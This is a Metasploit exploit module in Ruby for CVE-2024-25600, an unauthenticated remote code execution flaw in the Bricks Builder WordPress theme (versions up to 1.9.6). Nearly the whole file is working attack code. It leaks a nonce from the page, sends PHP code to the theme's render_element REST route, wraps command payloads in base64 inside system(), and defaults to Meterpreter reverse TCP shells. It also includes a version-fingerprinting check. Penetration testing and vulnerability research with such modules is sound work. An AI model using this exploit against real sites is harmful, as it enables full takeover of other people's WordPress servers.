## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Unauthenticated RCE in Bricks Builder Theme', 'Description' => %q{ This module exploits an unauthenticated remote code execution vulnerability in the Bricks Builder Theme versions <= 1.9.6 for WordPress. The vulnerability allows attackers to execute arbitrary PHP code by leveraging a nonce leakage to bypass authentication and exploit the eval() function usage within the theme. Successful exploitation allows for full control of the affected WordPress site. It is recommended to upgrade to version 1.9.6.1 or higher. }, 'Author' => [ 'Calvin Alkan', # Vulnerability discovery 'Valentin Lobstein' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-25600'], ['URL', 'https://github.com/Chocapikk/CVE-2024-25600'], ['URL', 'https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6'], ['WPVDB', 'afea4f8c-4d45-4cc0-8eb7-6fa6748158bd'] ], 'DisclosureDate' => '2024-02-19', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] }, 'Platform' => ['unix', 'linux', 'win', 'php'], 'Arch' => [ARCH_PHP, ARCH_CMD], 'Targets' => [ [ 'PHP In-Memory', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Type' => :php_memory } ], [ 'Unix In-Memory', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' }, 'Type' => :unix_memory } ], [ 'Windows In-Memory', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp' }, 'Type' => :win_memory } ], ], 'Privileged' => false ) ) end def fetch_nonce uri = normalize_uri(target_uri.path) res = send_request_cgi('method' => 'GET', 'uri' => uri) return nil unless res&.code == 200 script_tag_match = res.body.match(%r{<script id="bricks-scripts-js-extra"[^>]*>([\s\S]*?)</script>}) return nil unless script_tag_match script_content = script_tag_match[1] nonce_match = script_content.match(/"nonce":"([a-f0-9]+)"/) nonce_match ? nonce_match[1] : nil end def exploit nonce = fetch_nonce fail_with(Failure::NoAccess, 'Failed to retrieve nonce. Exiting...') unless nonce print_good("Nonce retrieved: #{nonce}") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'ctype' => 'application/json', 'data' => { 'postId' => rand(1..10000).to_s, 'nonce' => nonce, 'element' => { 'name' => 'code', 'settings' => { 'executeCode' => 'true', 'code' => "<?php #{payload_instance.arch.include?(ARCH_PHP) ? payload.encoded : "system(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}'))"} ?>" } } }.to_json, 'vars_get' => { 'rest_route' => '/bricks/v1/render_element' } ) end def check return CheckCode::Unknown('WordPress does not appear to be online.') unless wordpress_and_online? wp_version = wordpress_version print_status("WordPress Version: #{wp_version}") if wp_version theme_check_code = check_theme_version_from_style('bricks', '1.9.6.1') return CheckCode::Unknown('The Bricks Builder theme does not appear to be installed') unless theme_check_code return CheckCode::Detected('The Bricks Builder theme is running but the version was unable to be determined') if theme_check_code.code == 'detected' return CheckCode::Safe("The Bricks Builder is running version: #{theme_check_code.details[:version]}, which is not vulnerable.") unless theme_check_code.code == 'appears' theme_version = theme_check_code.details[:version] print_good("Detected Bricks Builder theme version: #{theme_version}") CheckCode::Appears end end